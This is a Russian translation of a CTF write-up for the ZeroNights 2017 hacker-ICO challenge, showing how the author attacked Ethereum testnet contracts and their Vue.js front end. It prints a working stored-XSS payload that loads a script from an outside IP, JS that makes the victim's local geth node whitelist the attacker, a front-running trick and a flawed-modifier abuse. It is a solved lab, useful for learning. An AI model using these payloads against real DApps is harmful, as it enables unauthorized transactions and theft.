R0 CREW

Разбор задания ZeroNights ICO

Оригинал: blog.positive.com

До проведения конференции по информационной безопасности ZeroNights 2017, было запущено хакерское ICO. Первые три участника, решившие задание, в качестве приза получали приглашение на конференцию. Лично мне была интересна тема безопасности в смартконтрактах, которая на данный момент набирает популярность в различных CTF.

Сайт ICO - это DApp, который взаимодействует с двумя смартконтрактами, размещенными в тестовой сети Rinkeby. Первый контракт - это токен HACK стандарта ERC20, через него вы можете узнать свой баланс, сколько всего было выпущенно моент, сколько было продано и так далее.
Стоит упомянуть что для победы нужно набрать 31337 монет.

Второй контракт - это реализация лотереи. Вот фрагмент кода:

     function spinLottery(uint number) public {
         if (msg.sender != robotAddress) {
             playerNumber[msg.sender] = number;
             players.push(msg.sender);
             NewLotteryBet(msg.sender);
         } else {
             require(block.number - lotteryBlock > 5);
            lotteryBlock = block.number;
    for (uint i = 0; i < players.length; i++) {
                if (playerNumber[players[i]] == number) {
                    desires[players[i]].active = true;
                    desires[players[i]].email = "*Use changeEmail func to set your email.*";
                    Proposal(players[i], desires[players[i]].email);
                }
            }
            delete players; // flushing round
            NewLotteryRound(lotteryBlock);
        }
    }

Если вам улыбнется удача и вы угадаете число, то ваш адрес будет дабавлен в mapping desires. В whitepaper (как в настоящем ICO) было указано, что в белый список участники будут заноситься вручную, либо в результате победы в лотерее. Так давайте попробуем победить!

Победа в лотерее

Глядя на код выше, вы можете увидеть, что существует некий робот, который отправляет в контракт случайное число один раз в 5 блоков. Данное число отправляется в открытом ввиде, без использования сида. Это означает, что код подвержен атаке Transaction Ordering Dependence or Frontrunning. Другими словами, если мы достаточно быстры, чтобы посмотреть номер, отправленный роботом, и выпустить нашу собственную транзакцию с таким же номером, чтобы обе транзакции отображались в одном и том же блоке, мы можем выиграть в лотерею при условии, что наша транзакция будет обработана раньше транзакции робота. Как этого можно добиться? Очень просто, нам просто нужно увеличить цену за газ, чтобы она была выше, чем у робота. После нескольких попыток мне всё же удалось вписаться с ним в один блок.

Итак, я попал в desires, но я все еще не могу покупать токены. Для этого мой адрес должен быть перемещен из desires в whitelist. Из кода видно, что это может сделать только владелец контракта:

    function addParticipant(address who) onlyController public {
        if (isDesirous(who) && who != controller) {
            whitelist[who] = true;
            delete desires[who];
            AddParticipant(who);
            RemoveProposal(who);
        }
    }

Попадание в белый список

У смарт контракта не оказалось уязвимостей, которые могли бы мне помочь. Однако веб-приложение, написанное на Vue.js, имело следующий код, который отображал адрес электронной почты пользователя:

domProps: {
  innerHTML: t._s(e.email)
}

Это означает, что контролируемый пользователем ввод отражался на странице без санитизации, проще говоря — у нас есть XSS. Используя метод changeEmail, я получил некоторую HTML-разметку, заинжекченую на страницу.

С этого момента становится интереснее: что если владелец контракта зайдет на данную страницу в своем браузере? Если это произойдет, мы сможем попытаться отправить транзакцию через локальный geth узел, обычно работабщий на forum.reverse4you.org:8545, который добавит нас в белый список от имени владельца контракта, при условии, что он будет авторизован. Выглядит маловероятно, но попробовать стоило. Вскоре после этого я накидал следующий код на JS:

var web3 = new Web3(new Web3.providers.HttpProvider("http://forum.reverse4you.org:8545"));
var abi = /* CONTRACT ABI HERE */[];

web3.eth.defaultAccount = web3.eth.accounts[0];
var c = web3.eth.contract(abi).at("0xd80cc3550da18313af09fbd35571084913cd5246");
c.addParticipant("0x949db1e44B7762683d1Cf947D2B3c2358bD7434A", function(a,b){console.log(b)});

Создав файл со скриптом на моей машине, я отправил транзакцию changeEmail со следующим кодом вместо моего адреса электронной почты:

<img src=x onerror='var a=document.createElement("script");a.src="http://52.207.112.238/test.js";document.body.append(a);'>

К моему удивлению, владелец контракта действительно зашел на сайт, и у него был узел geth, работающий на forum.reverse4you.org. Код отработал хорошо, и вскоре я увидео свой адрес в whitelist.

Покупка токенов

На данном шаге меня ничто не останавливало от покупки 31337 токенов. За исключением одной проверки в методе buy:

require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);

Это означет что я не могу владеть более чем 1000 HACK коинов. Но что если мы попробуем переместить эти 1000 токенов на другой адрес и купить еще 1000?
Давайте взглянем на метод transfer:

function transfer(address _to, uint256 _value) public afterICO returns (bool) {/* ... */}

Он имеет модификатор afterICO, который должен помещать нам перевести средства. Однако он оказался неэффективным из-за того что условие не было внесено внутрь require:

modifier afterICO() {
    block.timestamp > November15_2017; _;
}

После 32-x итераций “покупки/передачи” я получил необходимый баланс токенов:

На самом деле нужно получить +1 HACK, иначе не получиться пройти проверку.

Создание off-chain транзакции

Последний шаг, на первый взгляд, казался очень простым. Нужно было подписать off-chain транзакцию, которая содержить HACK в поле msg.data. Ключевое слово здесь - транзакция. Я провел пару часов, безнадежно пытаясь заставить скрипт проверки провалидировать подписанное сообщение, как в CTF Ethernaut, пока не понял, что нужна подписанная off-chain транзакция.

Нет простых способов сделать это через web3, но, к счастью,проект ethereumjs-tx оказался подходящим инструментом для этой задачи.

Транзакции в Ethereum подписываются закрытым ключом отправителя, поэтому для начала мы должны извлечь его из MetaMask. После многочисленных попыток создать правильную струкруту транзакции, я наконец придумал следующий сценарий:

var Transaction = require('../index.js')

var tx = new Transaction(null, 1)

var privateKey = new Buffer('cafebabe', 'hex')

var rawTx = {
  nonce: '0x00',
  gasPrice: '0x09184e72a000',
  gasLimit: '0x2710',
  to: '0x9993ae26affd099e13124d8b98556e3215214e81',
  value: '0x00',
  data: '0x4841434b' // HACK
}

var tx = new Transaction(rawTx)
tx.sign(privateKey)

var serializedTx = tx.serialize()
console.log(serializedTx.toString('hex'))

После отправки результата я наконец получил флаг, который обеспечил мне второе место.

Спасибо организаторам за отличный конкурс и до новых встреч!

© Translated by f0x0f special for r0 Crew